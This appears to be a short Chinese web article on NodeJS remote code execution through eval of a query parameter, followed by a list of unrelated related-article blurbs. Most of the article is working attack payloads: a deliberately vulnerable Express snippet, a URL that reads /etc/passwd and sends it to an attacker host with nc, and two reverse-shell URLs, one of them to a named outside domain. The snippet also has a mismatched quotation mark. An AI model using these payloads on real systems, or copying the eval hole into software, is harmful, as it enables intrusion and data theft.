NodeJS遠程代碼執(zhí)行
更新時間：2016年08月28日 15:30:03 投稿：hebedich
這篇文章主要介紹了NodeJS遠程代碼執(zhí)行方法的相關(guān)資料,需要的朋友可以參考下
背景
@Artsploit在挖PayPal的漏洞時，發(fā)現(xiàn)一處NodeJS代碼執(zhí)行，獎勵$10000美金。
測試
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example listening on port 8080!');
});
任意文件讀取
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
您可能感興趣的文章:
相關(guān)文章
最近工作中需要對身份證號的年齡、出生日期與性別進行驗證，所以這篇文章主要介紹了Node.js通過身份證號驗證年齡、出生日期與性別的方法，在介紹完node.js的實現(xiàn)方法后又給大家分類的利用JS實現(xiàn)的方法，需要的朋友可以參考下。2017-03-03
本文主要介紹了Node.js使用WebAssembly，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-05-05
這篇文章主要介紹了詳解利用nodejs對本地json文件進行增刪改查，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-09-09
這篇文章主要介紹了nodejs npm包管理的配置方法及常用命令介紹,需要的朋友可以參考下2014-06-06
開啟網(wǎng)站的 gzip 壓縮功能，通?？梢愿哌_70%，也就是說，如果你的網(wǎng)頁有30K，壓縮之后就變成9K， 對于大部分網(wǎng)站，顯然可以明顯提高瀏覽速度（注：需要瀏覽器支持）。2017-08-08
這篇文章主要介紹了nodejs基礎(chǔ)之常用工具模塊util用法,結(jié)合實例形式分析了nodejs核心工具模塊util功能、相關(guān)函數(shù)與使用方法,需要的朋友可以參考下2018-12-12
在項目開發(fā)過程中,不同項目使用的nodejs版本不同,有時會因為node版本過高或太低,導(dǎo)致報錯,本文主要介紹了node.js版本降級/升級的實現(xiàn),具有一定的參考價值,感興趣的可以了解一下2024-05-05
下面小編就為大家?guī)硪黄趎ode.js的fs核心模塊讀寫文件操作(實例講解)。小編覺得挺不錯的，現(xiàn)在就想給大家，也給大家做個參考。一起跟隨小編過來看看吧2017-09-09
這篇文章主要介紹了node中實現(xiàn)刪除目錄的幾種方法，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06
nodejs發(fā)布靜態(tài)https服務(wù)器步驟指南
這篇文章主要為大家介紹了nodejs發(fā)布靜態(tài)https服務(wù)器的步驟指南，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2024-02-02